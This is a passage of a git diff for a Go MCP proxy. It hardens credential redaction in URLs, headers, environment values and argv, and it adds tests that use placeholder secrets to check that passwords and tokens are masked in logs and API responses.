userinfo password since #872, but that +// function only ever sees a value the caller already knows is a URL. The +// free-form scrubbers — connection errors, tailed log lines, health.detail — +// see a URL buried in a sentence, and neither tokenPattern (bearer only) nor +// secretPattern (`=`) nor the `=` sweep below has any +// `user:pass@` shape, so a basic-auth password travelled through all of them in +// the clear. +// +// The username is deliberately kept: it is the operator's signal for WHICH +// credential failed, and it is not the secret. +var urlUserinfoPattern = regexp.MustCompile(`([a-zA-Z][a-zA-Z0-9+.\-]*://)([^\s/:@]+):([^\s/@]+)@`) + +// redactURLUserinfo masks the password half of every `scheme://user:pass@` +// prefix in s, keeping the username. Shared by RedactSensitiveData (free-form +// text) and RedactURL (the parse-failure fallback) so the two cannot disagree +// about whether a basic-auth password is a secret. +func redactURLUserinfo(s string) string { + return urlUserinfoPattern.ReplaceAllStringFunc(s, func(match string) string { + groups := urlUserinfoPattern.FindStringSubmatch(match) + if len(groups) != 4 { + return match + } + // A ${keyring:…}/${env:…} reference is a label, not a secret; masking + // it would erase exactly what makes the line diagnosable. + if isConfigReference(groups[3]) { + return match + } + return groups[1] + groups[2] + ":" + redactedMarker + "@" + }) +} + // RedactSensitiveData redacts sensitive information from a string. // It replaces tokens, secrets, and other sensitive data with redacted placeholders. func RedactSensitiveData(data string) string { @@ -127,24 +181,27 @@ func RedactSensitiveData(data string) string { return data } + // Redact URL userinfo passwords (scheme://user:pass@host). + result := redactURLUserinfo(data) + // Redact Bearer tokens - result := tokenPattern.ReplaceAllString(data, "${1}***REDACTED***") + result = tokenPattern.ReplaceAllString(result, "${1}"+redactedMarker) // Redact secrets and passwords result = secretPattern.ReplaceAllStringFunc(result, func(match string) string { // Find the position of = or : and redact everything after for _, sep := range []string{"=", ":"} { if idx := strings.Index(match, sep); idx != -1 { - return match[:idx+1] + "***REDACTED***" + return match[:idx+1] + redactedMarker } } - return "***REDACTED***" + return redactedMarker }) // Redact sensitive URL parameters for _, param := range sensitiveParams { pattern := regexp.MustCompile(`(?i)(` + param + `=)[^&\s]+`) - result = pattern.ReplaceAllString(result, "${1}***REDACTED***") + result = pattern.ReplaceAllString(result, "${1}"+redactedMarker) } return result @@ -157,7 +214,7 @@ func RedactHeaders(headers http.Header) map[string]string { for key, values := range headers { if isSensitiveHeaderKey(key) { - redacted[key] = "***REDACTED***" + redacted[key] = redactedMarker } else { // Join multiple values and redact any sensitive data within value := strings.Join(values, ", ") @@ -481,7 +538,7 @@ func AuditMaskValue(v string) string { if isConfigReference(v) { return v } - return "••••" + return bulletMarker } // MaskValue renders a string secret as `•••• ( chars)` for @@ -501,9 +558,9 @@ func MaskValue(v string) string { return v } if len(v) <= 4 { - return "••••" + return bulletMarker } - return "••••" + v[len(v)-2:] + " (" + strconv.Itoa(len(v)) + " chars)" + return bulletMarker + v[len(v)-2:] + " (" + strconv.Itoa(len(v)) + " chars)" } // UnmaskURL protects the write path from a client that echoes a masked URL @@ -682,8 +739,14 @@ func UnmaskHeaders(incoming, stored map[string]string) map[string]string { // renders one (key, value) pair; reused by UnmaskHeaders to recognise echoed // masks. func maskedHeaderValue(key, value string) string { + return maskedHeaderValueWith(key, value, MaskValue) +} + +// maskedHeaderValueWith is maskedHeaderValue with a caller-chosen mask. See +// RedactStringHeadersWith for why the audit surfaces need a different one. +func maskedHeaderValueWith(key, value string, mask func(string) string) string { if isSensitiveHeaderKey(key) { - return MaskValue(value) + return mask(value) } return RedactSensitiveData(value) } @@ -707,15 +770,24 @@ func unmaskMapValues(incoming, stored map[string]string, rendered func(k, v stri } // RedactURL redacts sensitive query parameters from a URL string. +// +// Issue #1148, round 4: this is not only a standalone helper — it is the +// fallback RedactURLQueryParams takes when url.Parse FAILS, and a URL that +// fails to parse is precisely the URL a connection error is being logged +// about. It masked the query params but had no `user:pass@` rule, so the +// basic-auth password survived every logSafeURL() site in +// internal/upstream/core, internal/upstream/managed and internal/transport +// whenever the configured URL was malformed. Reuse RedactSensitiveData's +// urlUserinfoPattern so the two scrubbers cannot drift apart. func RedactURL(urlStr string) string { if urlStr == "" { return urlStr } - result := urlStr + result := redactURLUserinfo(urlStr) for _, param := range sensitiveParams { pattern := regexp.MustCompile(`(?i)(` + param + `=)[^&]+`) - result = pattern.ReplaceAllString(result, "${1}***REDACTED***") + result = pattern.ReplaceAllString(result, "${1}"+redactedMarker) } return result diff --git a/internal/oauth/redact_hardening_test.go b/internal/oauth/redact_hardening_test.go index ae4aa1f98..23d69782e 100644 --- a/internal/oauth/redact_hardening_test.go +++ b/internal/oauth/redact_hardening_test.go @@ -349,3 +349,39 @@ func TestUnmaskEnvValues_URLValue_HostEditDoesNotRestorePassword(t *testing.T) { assert.NotContains(t, got["DATABASE_URL"], "realdbpassword", "password must not be moved to a different host") } + +// TestRedactURL_MasksUserinfoPassword covers issue #1148, round 4 (final +// sweep). RedactURL is the regex fallback RedactURLQueryParams takes whenever +// url.Parse fails — and a URL that fails to parse is exactly the URL a +// connection error is being logged about. It masked the sensitive QUERY params +// but had no `user:pass@` rule at all, so every logSafeURL() call site in +// internal/upstream/core, internal/upstream/managed and internal/transport +// leaked the basic-auth password down that fallback path. +// +// RedactSensitiveData has masked userinfo since round 2 (urlUserinfoPattern); +// this brings its sibling to the same contract. The username is kept, as +// everywhere else: it says WHICH credential, and is not itself the secret. +func TestRedactURL_MasksUserinfoPassword(t *testing.T) { + // The DEL byte is what makes url.Parse fail, which is how a real caller + // reaches this function through RedactURLQueryParams. + raw := "https://alice:hunter2phrase@host/mcp?token=urlsecret999&debug=1\x7f" + + for name, got := range map[string]string{ + "RedactURL": RedactURL(raw), + "RedactURLQueryParams": RedactURLQueryParams(raw), + } { + assert.NotContains(t, got, "hunter2phrase", "%s must mask the userinfo password", name) + assert.NotContains(t, got, "urlsecret999", "%s must mask the query credential", name) + assert.Contains(t, got, "alice", "%s must keep the username", name) + assert.Contains(t, got, "host/mcp", "%s must keep host and path", name) + assert.Contains(t, got, "debug=1", "%s must keep non-sensitive parameters", name) + } + + // A ${keyring:…}/${env:…} reference is a label, not a secret — same carve-out + // RedactSensitiveData makes. + ref := RedactURL("https://alice:${keyring:UPSTREAM_PW}@host/mcp\x7f") + assert.Contains(t, ref, "${keyring:UPSTREAM_PW}", "config references are labels, not secrets") + + assert.Equal(t, "", RedactURL("")) + assert.Equal(t, "https://host/mcp", RedactURL("https://host/mcp"), "a clean URL is untouched") +} diff --git a/internal/oauth/redactview.go b/internal/oauth/redactview.go new file mode 100644 index 000000000..94c37cf13 --- /dev/null +++ b/internal/oauth/redactview.go @@ -0,0 +1,735 @@ +package oauth + +import ( + "encoding/json" + "fmt" + "net/url" + "reflect" + "strings" + "sync" + "unicode/utf8" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/security" +) + +// Issue #1148, round 4 finding 3: the redaction RULES live here rather than in +// internal/server because there are TWO doors onto the same server config — +// the MCP `upstream_servers list` payload and `GET /api/v1/servers` — and +// internal/httpapi sits BELOW internal/server in the import graph, so it cannot +// reuse a rule defined up there. Every previous half-done shape on this issue +// (argv masked on MCP but not REST, a field masked on read with no matching +// write-path answer) came from a rule that existed in only one of the two +// places. This file is the one place. +// +// internal/oauth already owns the mask RENDERINGS (MaskValue, AuditMaskValue), +// the name matchers (IsSensitiveKeyName, IsSensitiveHeaderName) and the +// write-path unmaskers (UnmaskURL, UnmaskEnvValues, UnmaskHeaders), so the leaf +// rules that combine them belong here too — and putting them here keeps the +// read rendering and the write revert defined side by side, which is the +// invariant this issue keeps breaking. + +// Redaction is the shared rule set for masking one server's secret-bearing +// leaves. The RULES — which key names are sensitive, which values look like +// credentials, how argv pairs up, how a URL is rendered component-wise — are +// shared by EVERY door: the MCP `upstream_servers list` / +// `quarantine_security list_quarantined` payloads, `GET /api/v1/servers`, the +// `/events` SSE `servers.changed` payload and the activity store. Only the +// mask RENDERING differs, and that difference is the one thing this struct +// carries. +type Redaction struct { + // Mask renders one masked secret. Defaults to MaskValue when nil. + Mask func(string) string + + // DetectContracted collapses a URL-shaped rendering: the value-shaped + // detector runs over the WHOLE string rather than component by component. + // + // Only the AUDIT policy sets it. Audit rows are never written back and are + // never edited by an operator, so nothing constrains their rendering and + // maximal masking wins. + // + // A LIVE surface cannot collapse the rendering: #872 deliberately renders a + // connection string component-wise (`postgres://u:••••(N chars)@host/db`) + // so an operator can edit the database name without the password mask being + // persisted as the password, and UnmaskURL recognises exactly that + // rendering on the write path. + // + // It does NOT follow that a live surface skips the detector. Round 6 + // finding 1: the old guard skipped it for the ENTIRE string as soon as the + // name rule rewrote any one component, so a URL holding two credentials + // published the second in the clear. The detector now runs per component + // (see maskDetectedPreservingURL), which closes that without collapsing + // anything the write path depends on. + DetectContracted bool + + // Limit caps each string leaf the generic walker produces, or 0 for no cap. + // + // It is a property of the DESTINATION, not of the rules: the activity store + // caps every leaf so one mutation carrying a large env map cannot bloat + // BBolt, while a LIVE read surface must not cap — a truncated URL or arg is + // no longer equal to mask(stored), so the write-path unmasker would write + // the truncation through. + Limit int +} + +// WithLimit returns a copy of the policy that caps each string leaf at n bytes. +func (r Redaction) WithLimit(n int) Redaction { + r.Limit = n + return r +} + +// LiveRedaction is the policy for the LIVE read surfaces (the MCP +// `upstream_servers list` / `quarantine_security list_quarantined` payloads and +// `GET /api/v1/servers`). It keeps MaskValue's `•••• ( chars)` +// rendering, which the write-path unmaskers recognise. +var LiveRedaction = Redaction{Mask: MaskValue, DetectContracted: false} + +// AuditRedaction is the policy for anything PERSISTED or EXPORTED: the fixed +// `••••` marker, carrying neither the secret's length nor its trailing bytes. +var AuditRedaction = Redaction{Mask: AuditMaskValue, DetectContracted: true} + +func (r Redaction) masker() func(string) string { + if r.Mask == nil { + return MaskValue + } + return r.Mask +} + +// Leaf masks one string leaf, judged by the field NAME that encloses it and +// then by the value's own shape. +// +// The name rule decides first — it is what keeps the payload readable and says +// WHICH credential is configured — and whatever survives it is offered to the +// value-shaped detector. A key name is never the only rule: `--endpoint=ghp_…`, +// a credential under a header name no matcher recognises, or a token pasted +// into a field nobody thought of is invisible to name matching and obvious to +// the detector. +// +// `key` is the enclosing field name; pass "" for a leaf with no key (a +// positional argv token). +func (r Redaction) Leaf(key, s string) string { + switch { + case IsHeadersFieldName(key): + return r.HeaderValue(key, s) + case strings.EqualFold(key, "url"): + return r.URLValue(s) + default: + // An UNCONTRACTED leaf: a plain config field, a future field, or an + // argv token's value. The env-var rule is this package's single source + // of truth for "does this key name look like it holds a secret": it + // masks sensitive-looking keys, passes ${keyring:…}/${env:…} + // references through, URL-redacts connection strings, and runs + // RedactSensitiveData over everything else. + return r.finish(s, maskedEnvValueWith(key, s, r.masker())) + } +} + +// EnvValue masks one environment-variable leaf, reproducing maskedEnvValue's +// NAME rule exactly so UnmaskEnvValues can recognise the rendering if a client +// echoes it back on the write path, then running the value-shaped detector over +// whatever the name rule left of the original value. +func (r Redaction) EnvValue(name, value string) string { + return r.finish(value, maskedEnvValueWith(name, value, r.masker())) +} + +// HeaderValue masks one HTTP header leaf, judged by the header NAME first and +// then by the value's own shape. Both rules are needed and neither is +// sufficient: the name matcher cannot enumerate every custom credential header, +// and the detector cannot recognise an opaque value with no credential shape. +func (r Redaction) HeaderValue(name, value string) string { + return r.finish(value, maskedHeaderValueWith(name, value, r.masker())) +} + +// URLValue masks one URL leaf: the name rule first (sensitive query parameters +// and the userinfo password, rendered component-wise per #872), then the +// value-shaped detector over every component the name rule left alone. +func (r Redaction) URLValue(s string) string { + return r.finish(s, RedactURLQueryParamsWith(s, r.masker())) +} + +// finish runs the value-shaped detector over the output of a NAME rule. +// `original` is the leaf before the name rule ran, `masked` after it. +// +// The detector is what closes the gap the name rules structurally cannot see: a +// vendor-shaped credential under a benign key (`env: {BENIGN: ghp_…}`), a +// header name no matcher enumerates, a query parameter called `opaque`. +// +// It is skipped in exactly ONE case: when the name rule already replaced the +// WHOLE value with this package's own mask rendering. No byte of the secret +// survives there for the detector to find, and re-masking would produce a +// rendering UnmaskEnvValues / UnmaskHeaders could not recognise on the write +// path — trading a non-disclosure for the read-modify-write corruption of +// #1142/#1146. +// +// Everything else — a partially-rewritten value, a URL rendered component-wise, +// an untouched one — still carries original bytes, so the detector runs. For a +// URL it runs PER COMPONENT so the scheme, host and component-wise userinfo +// mask the write path binds to are preserved (round 6 finding 1). +func (r Redaction) finish(original, masked string) string { + if r.DetectContracted { + return MaskDetectedSecrets(masked) + } + if masked == r.masker()(original) { + return masked + } + return maskDetectedPreservingURL(masked) +} + +// maskDetectedPreservingURL runs the value-shaped detector over s, component by +// component when s is a whole absolute URL. +// +// Round 6 finding 1. The detector must not be handed a URL whole on a LIVE +// surface: it would re-mask the `•••• ( chars)` userinfo/query +// renderings that UnmaskURL binds to on the write path. But skipping it for the +// whole string — which is what the old `masked != original` guard did — meant +// one masked component silenced the detector for every other one, publishing a +// second credential in the clear. +// +// So it runs on the components the name rule does not own: the path, the +// fragment, and every query parameter whose name no matcher recognises. Those +// are exactly the components UnmaskLiveURLParams reverts, and the ones it +// cannot are refused by the write doors' residual-mask check. +func maskDetectedPreservingURL(s string) string { + if u, err := url.Parse(s); err != nil || u.Scheme == "" || u.Host == "" { + return MaskDetectedSecrets(s) + } + + main, fragment, hasFragment := strings.Cut(s, "#") + base, rawQuery, hasQuery := strings.Cut(main, "?") + + out := maskDetectedInURLPath(base) + if hasQuery { + out += "?" + maskDetectedInURLQuery(rawQuery) + } + if hasFragment { + out += "#" + MaskDetectedSecrets(fragment) + } + return out +} + +// maskDetectedInURLPath runs the detector over the PATH of `scheme://authority/path`, +// leaving the scheme, the host and the userinfo — whose password the name rule +// has already rendered component-wise — byte-identical. +func maskDetectedInURLPath(base string) string { + start := 0 + if i := strings.Index(base, "://"); i >= 0 { + start = i + len("://") + } + slash := strings.IndexByte(base[start:], '/') + if slash < 0 { + return base + } + cut := start + slash + return base[:cut] + MaskDetectedSecrets(base[cut:]) +} + +// maskDetectedInURLQuery runs the detector over each query parameter value the +// NAME rule did not already mask. +// +// The detector sees the RAW (still percent-encoded) value bytes, because that +// is what UnmaskLiveURLParams compares against when it reverts an echoed mask +// per parameter — the two must render the same bytes or the revert silently +// stops working. +func maskDetectedInURLQuery(rawQuery string) string { + parts := strings.Split(rawQuery, "&") + for i, part := range parts { + eq := strings.IndexByte(part, '=') + if eq < 0 { + // A bare token carries no parameter name at all, so nothing but the + // detector can judge it. + parts[i] = MaskDetectedSecrets(part) + continue + } + key, value := part[:eq], part[eq+1:] + if isSensitiveQueryParam(queryUnescapeOr(key)) { + // The name rule already replaced this value with MaskValue's + // rendering; re-masking it would defeat UnmaskURL. + continue + } + if isConfigReference(queryUnescapeOr(value)) { + // A ${keyring:…} / ${env:…} label, not a secret. + continue + } + parts[i] = key + "=" + MaskDetectedSecrets(value) + } + return strings.Join(parts, "&") +} + +// Argv masks a command-line argument vector. Returns nil for nil. +// +// Two rules, because argv secrets announce themselves in two ways: +// +// - The FLAG names the credential — `--api-key VALUE` and `--api-key=VALUE`. +// Delegated to Leaf with the de-dashed flag as the key, so the same single +// source of truth the env map uses decides, and the flag itself stays +// readable (it is the audit signal: WHICH credential moved). +// - The VALUE is recognisably a credential on its own — an AWS key, a GitHub +// token, a PEM block, a high-entropy blob — wherever it sits. +// +// BOTH rules run on BOTH spellings: Leaf ends in the detector for every leaf, +// which keeps `--endpoint=ghp_…` and `--endpoint ghp_…` in step by construction +// rather than by two call sites remembering to agree. +// +// Everything else round-trips verbatim: package names, subcommands, paths and +// ports are what make the payload useful. +func (r Redaction) Argv(argv []string) []string { + if argv == nil { + return nil + } + out := make([]string, len(argv)) + maskNext := false + for i, s := range argv { + if maskNext { + out[i] = r.masker()(s) + maskNext = false + continue + } + if flag, value, inline := strings.Cut(s, "="); inline && IsArgvFlag(flag) { + out[i] = flag + "=" + r.Leaf(ArgvFlagKey(flag), value) + continue + } + // An unpaired token — a positional argument, a flag name, or the value + // of a flag whose name says nothing. Routing through Leaf with NO + // enclosing key is what keeps the inline and space-separated spellings + // in step: it is the same function the inline branch delegates to, so + // the URL rule, the env-name rule and the detector all apply to both. + out[i] = r.Leaf("", s) + maskNext = IsArgvFlag(s) && IsSensitiveKeyName(ArgvFlagKey(s)) + } + return out +} + +// IsArgvFlag reports whether a token is an option rather than a positional +// argument. A bare "-" or "--" is a convention, not a flag. +func IsArgvFlag(token string) bool { + return strings.HasPrefix(token, "-") && strings.Trim(token, "-") != "" +} + +// ArgvFlagKey turns `--api-key` into the key name the env/header redactors +// match on. +func ArgvFlagKey(flag string) string { + return strings.TrimLeft(flag, "-") +} + +// IsHeadersFieldName reports whether a map/leaf should be masked with HTTP +// header semantics. Covers both the `headers` config field and the +// `headers_json` tool parameter (the suffix is trimmed before the walk). +func IsHeadersFieldName(key string) bool { + return strings.EqualFold(key, "headers") +} + +// detector is built from the DEFAULT detection config rather than the running +// one on purpose: masking a read surface or an audit row is a property of THAT +// surface, and an operator who turned sensitive-data detection off for the call +// path must not thereby cause credentials to be published or persisted in the +// clear. (Detector.MaskText ignores the `enabled` flag for the same reason.) +var detector = sync.OnceValue(func() *security.Detector { + return security.NewDetector(config.DefaultSensitiveDataDetectionConfig()) +}) + +// MaskDetectedSecrets masks any credential the value-shaped detector recognises +// inside s, leaving text it does not recognise untouched. +func MaskDetectedSecrets(s string) string { + masked, _ := detector().MaskText(s) + return masked +} + +// maskRendering is one function that RENDERS a secret as a mask on a read door, +// paired with the MARKER constant its output is built from and a probe input it +// is guaranteed to mask. +// +// This registry is the single source the fail-closed net reads. MaskMarkers +// below is assembled from it and from nothing else, and +// TestMaskMarkers_CoverEveryRendering runs each entry's probe through its +// renderer and fails when the net cannot detect the result — so a rendering +// cannot be added, or an existing one changed, without the net learning about +// it in the same edit. +// +// Issue #1148, round 7 finding 1. The marker list used to be hand-maintained +// beside the renderers and listed only the bullet run and the detector's +// elision. It did not know about `***REDACTED***`, which is what +// RedactSensitiveData emits — and RedactSensitiveData runs on every +// UNCONTRACTED leaf through Redaction.Leaf, so `isolation.extra_args` holding +// `-e API_KEY=` was rendered `-e API_KEY=***REDACTED***` on the read +// door and that echo was ACCEPTED and PERSISTED over the real credential. +// Hand-maintaining a list beside the thing it is supposed to track is the same +// fail-open shape as every other defect on this issue; the list is now derived. +type maskRendering struct { + name string + marker string + probe string + render func(string) string +} + +var maskRenderings = []maskRendering{ + {"oauth.MaskValue", bulletMarker, "supersecretvalue", MaskValue}, + {"oauth.MaskValue/short", bulletMarker, "abcd", MaskValue}, + {"oauth.AuditMaskValue", bulletMarker, "supersecretvalue", AuditMaskValue}, + {"oauth.RedactSensitiveData/secret", redactedMarker, "API_KEY=supersecretvalue", RedactSensitiveData}, + {"oauth.RedactSensitiveData/bearer", redactedMarker, "Authorization: Bearer supersecretvalue", RedactSensitiveData}, + {"oauth.RedactSensitiveData/userinfo", redactedMarker, "postgres://u:supersecretvalue@host/db", RedactSensitiveData}, + {"oauth.RedactURL", redactedMarker, "https://host/mcp?access_token=supersecretvalue", RedactURL}, + {"security.MaskValue/prefix", securityMaskSuffixMarker(), "AKIAIOSFODNN7EXAMPLE", MaskDetectedSecrets}, +} + +// maskOAuthSecret / maskExtraParams are deliberately NOT in the registry. They +// render `abc***wxyz` / `***` for zap DEBUG LOGS only (config.go, +// transport_wrapper.go) — no client ever reads them off a door and echoes them +// back at a write, so widening the net to `***` would refuse legitimate values +// to protect a path that does not exist. The registry is the set of renderings +// that reach a READ DOOR; if one of them ever does, it belongs here and the +// test below will be what proves the net follows. + +// securityMaskSuffixMarker is security.MaskValue's own long-value marker, read +// from that package rather than copied, so a change there breaks the registry +// test instead of silently narrowing the net. +func securityMaskSuffixMarker() string { + return security.MaskMarkers()[0] +} + +// MaskMarkers are the substrings every masked rendering carries. They are +// DERIVED from maskRenderings above plus security.MaskMarkers(), so the net can +// never fall behind a rendering. +// +// They back up the byte-for-byte echo checks so a mask is still recognised when +// the stored value has since changed and the exact comparison no longer +// matches. TestArgvMaskMarkers_MatchTheRenderings and +// TestMaskMarkers_CoverEveryRendering pin them to the functions that produce +// them. +var MaskMarkers = deriveMaskMarkers() + +func deriveMaskMarkers() []string { + seen := map[string]bool{} + var out []string + add := func(marker string) { + if marker == "" || seen[marker] { + return + } + seen[marker] = true + out = append(out, marker) + } + for _, r := range maskRenderings { + add(r.marker) + } + // security.MaskValue has a SECOND rendering for values too short to keep a + // prefix; taking the package's whole marker set rather than only the one + // the registry probe exercises is what keeps that from being a hole. + for _, marker := range security.MaskMarkers() { + add(marker) + } + return out +} + +// ContainsMaskMarker reports whether a string carries a mask this proxy +// rendered. +func ContainsMaskMarker(s string) bool { + for _, marker := range MaskMarkers { + if strings.Contains(s, marker) { + return true + } + } + return false +} + +// CheckArgvMaskEcho reports an error when an incoming argv vector still carries +// a mask this proxy rendered — either the exact masking of a stored token, or +// any token bearing a mask marker. `field` names the request parameter to quote +// back to the caller (`args_json` on the MCP surface, `args` on REST). +// +// Issue #1148, round 3: argv masks are NEVER reverted, they are REFUSED. An +// argv token has NO KEY — env values bind to the variable name, headers to the +// header name, a URL secret to its scheme+host, but an argv slot has only its +// index and its neighbours, and the caller supplies the WHOLE vector *and* +// `command` in the same request. So every candidate binding is +// caller-controlled and any revert can be steered into relocating the live +// credential into an attacker-chosen command line. +// +// Refusing rather than silently keeping the stored vector is deliberate: the +// argv field REPLACES the vector on both surfaces, so silently ignoring it +// would make the write look applied when it was not. +// +// Returns nil for a vector that carries no mask, which is every legitimate +// write: a caller that changed nothing sends the real values it already has, a +// caller that rotated a credential sends the new one. +func CheckArgvMaskEcho(field string, incoming, stored []string) error { + if len(incoming) == 0 { + return nil + } + + echoed := make(map[string]struct{}, len(stored)) + for i, masked := range LiveRedaction.Argv(stored) { + if masked != stored[i] { + echoed[masked] = struct{}{} + } + } + + for i, token := range incoming { + if _, ok := echoed[token]; !ok && !ContainsMaskMarker(token) { + continue + } + return fmt.Errorf("%s[%d] is a redaction placeholder, not an argument value: "+ + "credential-shaped argv tokens are masked on read and are never restored on write, "+ + "because an argv slot carries no key to bind the secret to. "+ + "Resend the real value for that argument, or omit %s to leave the stored arguments unchanged", + field, i, field) + } + return nil +} + +// UnmaskLiveURLParams reverts, PER QUERY PARAMETER, a value that is exactly the +// value-shaped detector's masking of the stored value for the same parameter +// name. +// +// Issue #1148, round 4 finding 2. UnmaskURL only knows the SENSITIVE query +// params — the ones it masked itself — so a credential the live surface masked +// through the DETECTOR, under a parameter name no matcher recognises +// (`?opaque=ghp_…`), had no revert at all. The whole-URL echo check covered the +// unedited case, but editing any other byte of the URL (the path, a neighbouring +// param) defeated it and the mask was written through as the credential. +// +// The revert is bound to the PARAMETER NAME and to the authority, and to +// nothing else — not to the path, not to the other parameters — which is what +// makes it survive an unrelated edit. As in UnmaskURL, a stored secret is +// restored ONLY when incoming keeps the stored scheme and host:port, so a URL +// redirected at another host never receives it; duplicate keys are restored +// positionally and only when the occurrence counts match. +// +// Anything it cannot bind is left masked on purpose: the caller is then refused +// by the surface's residual-marker check rather than having a mask persisted +// over a credential. +func UnmaskLiveURLParams(incoming, stored string) string { + if incoming == "" || stored == "" { + return incoming + } + inU, err := url.Parse(incoming) + if err != nil { + return incoming + } + stU, err := url.Parse(stored) + if err != nil { + return incoming + } + // Never move a stored secret onto a different scheme/host. + if inU.Scheme != stU.Scheme || inU.Host != stU.Host || inU.RawQuery == "" { + return incoming + } + + storedByKey := map[string][]string{} // decoded key -> ordered stored raw values + for _, part := range strings.Split(stU.RawQuery, "&") { + eq := strings.IndexByte(part, '=') + if eq < 0 { + continue + } + dk := queryUnescapeOr(part[:eq]) + storedByKey[dk] = append(storedByKey[dk], part[eq+1:]) + } + + parts := strings.Split(inU.RawQuery, "&") + incomingCountByKey := map[string]int{} + for _, part := range parts { + if eq := strings.IndexByte(part, '='); eq >= 0 { + incomingCountByKey[queryUnescapeOr(part[:eq])]++ + } + } + + occ := map[string]int{} + changed := false + for i, part := range parts { + eq := strings.IndexByte(part, '=') + if eq < 0 { + continue + } + key := part[:eq] + decKey := queryUnescapeOr(key) + n := occ[decKey] + occ[decKey]++ + storedList, ok := storedByKey[decKey] + if !ok || incomingCountByKey[decKey] != len(storedList) || n >= len(storedList) { + continue + } + storedRaw := storedList[n] + // The detector runs over the URL's RAW bytes on the read path, so the + // comparison is against the raw stored bytes too. + if part[eq+1:] == MaskDetectedSecrets(storedRaw) { + parts[i] = key + "=" + storedRaw + changed = true + } + } + if !changed { + return incoming + } + inU.RawQuery = strings.Join(parts, "&") + return inU.String() +} + +// --------------------------------------------------------------------------- +// The generic walk. +// +// Issue #1148, round 7 findings 2 and 3. Both are the same hole: the leaf RULES +// were shared by every door, but the WALK that applies them to a nested payload +// lived in internal/server, so the two doors that could not import it — +// RedactServerSecretFields (REST + SSE) and the hand-built isolation blocks in +// `upstream_servers list` — each reached into the config struct field by field +// and each missed `isolation.extra_args`. +// +// So the walk moves here, beside the rules, and every door calls it. A field +// added under a server payload is then masked because the walk reaches it, not +// because somebody remembered to add a line. +// --------------------------------------------------------------------------- + +// Value walks a generic JSON value (as produced by NormalizeForRedaction), +// masking every string leaf according to the key that encloses it. `key` is the +// enclosing field name — pass "" at the root, and for a slice the name of the +// slice itself. +func (r Redaction) Value(key string, v interface{}) interface{} { + switch typed := v.(type) { + case map[string]interface{}: + out := make(map[string]interface{}, len(typed)) + isHeaders := IsHeadersFieldName(key) + isEnv := IsEnvFieldName(key) + for k, val := range typed { + if s, ok := val.(string); ok { + switch { + case isHeaders: + // HTTP header semantics: mask by header name. + out[k] = r.CapString(r.HeaderValue(k, s)) + continue + case isEnv: + // Environment-variable semantics: mask by var name, using + // oauth's own rendering so the write path can recognise an + // echoed mask. + out[k] = r.CapString(r.EnvValue(k, s)) + continue + } + } + out[k] = r.Value(k, val) + } + return out + case []interface{}: + if IsArgvFieldName(key) { + return r.argvValue(typed) + } + out := make([]interface{}, len(typed)) + for i, val := range typed { + out[i] = r.Value(key, val) + } + return out + case string: + return r.CapString(r.Leaf(key, typed)) + default: + // Bools, json.Number and nil carry no secrets and stay verbatim. + return v + } +} + +// argvValue masks a command-line argument vector reached through the generic +// walk, using the same Argv rules the typed doors use. +// +// Non-string elements (only reachable from a malformed `args_json` payload) +// carry no flag semantics: they are walked with no enclosing key and stand in +// as an empty token, which resets the flag pairing exactly as the typed walk +// does. +func (r Redaction) argvValue(argv []interface{}) []interface{} { + tokens := make([]string, len(argv)) + for i, item := range argv { + if s, ok := item.(string); ok { + tokens[i] = s + } + } + masked := r.Argv(tokens) + + out := make([]interface{}, len(argv)) + for i, item := range argv { + if _, ok := item.(string); !ok { + out[i] = r.Value("", item) + continue + } + out[i] = r.CapString(masked[i]) + } + return out +} + +// CapString applies the policy's per-leaf length cap, if any, cutting on a rune +// boundary and marking the cut. +func (r Redaction) CapString(s string) string { + if r.Limit <= 0 || len(s) <= r.Limit { + return s + } + return s[:safeTruncateBytes(s, r.Limit)] + capEllipsis +} + +// capEllipsis marks a leaf the cap shortened. +const capEllipsis = "…" + +// safeTruncateBytes returns the largest cut <= limit that does not split a +// UTF-8 rune. +func safeTruncateBytes(s string, limit int) int { + if limit <= 0 { + return 0 + } + if limit >= len(s) { + return len(s) + } + cut := limit + for cut > 0 && !utf8.RuneStart(s[cut]) { + cut-- + } + return cut +} + +// IsEnvFieldName reports whether a map should be masked with +// environment-variable semantics. Covers both the `env` config field and the +// `env_json` tool parameter (the suffix is trimmed before the walk). +func IsEnvFieldName(key string) bool { + return strings.EqualFold(key, "env") +} + +// IsArgvFieldName reports whether a slice is a command-line argument vector. +// Covers the `args` config field and the `args_json` tool parameter. +// +// `isolation.extra_args` is deliberately NOT argv here: `Redaction.Argv` pairs +// `--flag value` and keeps unrecognised tokens verbatim, which is right for a +// vector whose command it belongs to is also on the wire. An extra_args vector +// is docker-run flags, and its elements go through Leaf like any other free +// text — which is what masks `-e API_KEY=`. +func IsArgvFieldName(key string) bool { + return strings.EqualFold(key, "args") +} + +// RedactNested masks every secret-bearing leaf of an arbitrary nested value in +// place, returning a value of the SAME Go type. +// +// It is how the typed doors (RedactServerSecretFields) redact a nested block +// without enumerating its fields: the value is normalised to generic JSON, +// walked by the shared rules, and decoded back over `dst`. A field added to the +// nested struct is therefore masked by default. +// +// On any encode/decode failure `dst` is left UNTOUCHED and false is returned, +// so the caller can fail closed rather than publish a half-redacted block. +// +// The masked value is decoded into a FRESH zero value and only then assigned +// over `dst`. Decoding straight into `dst` would be the #1142 corruption in a +// new place: encoding/json REUSES an existing slice's backing array, so a +// projection whose []string still aliases the stored config (a caller that +// assigned the slice instead of copying it) would have its live credentials +// overwritten with their own masks by the act of rendering a read response. +func (r Redaction) RedactNested(key string, dst interface{}) bool { + if dst == nil { + return false + } + ptr := reflect.ValueOf(dst) + if ptr.Kind() != reflect.Ptr || ptr.IsNil() { + return false + } + walked := r.Value(key, NormalizeForRedaction(dst)) + encoded, err := json.Marshal(walked) + if err != nil { + return false + } + fresh := reflect.New(ptr.Type().Elem()) + if err := json.Unmarshal(encoded, fresh.Interface()); err != nil { + return false + } + ptr.Elem().Set(fresh.Elem()) + return true +} diff --git a/internal/oauth/round6_one_rule_test.go b/internal/oauth/round6_one_rule_test.go new file mode 100644 index 000000000..a2a001443 --- /dev/null +++ b/internal/oauth/round6_one_rule_test.go @@ -0,0 +1,204 @@ +package oauth + +import ( + "reflect" + "strings" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/contracts" +) + +// Issue #1148, round 6. Every round of this review found the same shape: a rule +// applied at one door and not its sibling. These tests pin the invariant the +// branch is now structured around — ONE redaction rule and ONE revert 